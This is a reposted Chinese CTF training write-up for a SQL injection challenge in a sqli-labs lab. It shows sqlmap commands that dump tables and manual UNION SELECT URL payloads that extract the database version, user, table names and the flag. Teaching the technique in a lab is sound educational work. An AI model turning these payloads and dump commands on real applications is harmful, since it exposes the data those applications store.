码迷,mamicode.com
首页 > 数据库 > 详细

#writeup# 深交所CTF内训T1-SQL注入

时间:2020-03-28 23:23:34      阅读:100      评论:0      收藏:0      [点我收藏+]

标签:服务   data   block   otto   png   mysq   erro   基于   测试   

T1:SQL 注入

hint:简单的注入漏洞,可以使用sqlmap工具。
题目地址:http://www.szse.ml:8080/szse-1/index.php

简单的sql注入,先判断是何种注入类型。
http://www.szse.ml:8080/szse-1/index.php?id=1 正常显示
http://www.szse.ml:8080/szse-1/index.php?id=1‘ 单引号正常显示,说明不是单引号注入
http://www.szse.ml:8080/szse-1/index.php?id=1" 显示异常,说明要用双引号闭合。
技术图片
注意报错信息,数字1能显示,说明不是整形注入,而是字符注入。整形注入的报错长这样:
技术图片
大致可以推断出后台sql语句是

sql = ‘select username, password from xxx_table where id = ("‘ + $id + ‘") LIMIT 0,1‘

接下来都是常规操作,判断当前表格有多少个字段。当4改为3的时候,显示正常,说明有3个字段。
技术图片

判断哪些字段可以回显。说明第2个和第3个字段可以回显。
技术图片
通过上面的分析,可以知道,这是一道 ** GET - Error based - Double Quotes - string “ 注入题目,没有做任何过滤。

接下来,有两种解题方式:

方法一:利用sqlmap

通过前面的人工分析,知道id存在注入,而且是 error-based,所以构造如下命令:

sqlmap -u "http://www.szse.ml:8080/szse-1/index.php?id=1" -p id --dbms mysql --technique E

技术图片

关于 --technique 参数,简单介绍如下:
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

接下来探测数据库名,在上一条命令尾部加上 --current-db
技术图片
查看有哪些表:-D security --tables
技术图片
查看表中的内容:-T szseflag --dump
技术图片
获得了flag。

提高
sqlmap 在探测时候,会用到各种方法,其中盲注探测方式最花时间,为了提高效率,需要了解 --time-sec/--thread 等参数。当服务端存在过滤的时候,还要调用--tamper 脚本进行绕过。

方法二:直接手工注入

本题为基本的sql注入,而且带回显,其实完全可以通过手工语句完成:
1、获得数据库基本信息
数据库版本:
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,version(),3%23
技术图片

如果是5.0以上,因为有information_schema函数,可以直接获取到DB中的表和列信息。示例中是5.5.47
数据库信息:
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,database(),3%23
security
用户信息:
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,user(),3%23
root@localhost

2、获取表和列信息
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database() %23
技术图片

emails,referers,szseflag,uagents,users
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name=‘szseflag‘ %23
flag

6、获取字段信息
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,flag,3+from+szseflag%23
技术图片

szse{sqli_welcome_szse_ctfer}

方法三:自己编程实现

在 error-based sqli中,原理和手工注入一样,没必要编程。
在盲注的时候,就需要编程实现了。这里不再展开,希望大家可以自己做做这道题目:。
http://www.szse.ml:8080/Less-8/

提升

所有的 sqli 题目,其实都在 sqli-labs 里面了,只要每一题都能搞定,相信比赛也没问题。
目前 sqli-labs 的比赛环境我已经搭建好了,欢迎刷题:
http://www.szse.ml:8080/
技术图片

注意,一共有4类关卡哦:
技术图片

#writeup# 深交所CTF内训T1-SQL注入

标签:服务   data   block   otto   png   mysq   erro   基于   测试   

原文地址:https://www.cnblogs.com/handt/p/12589934.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!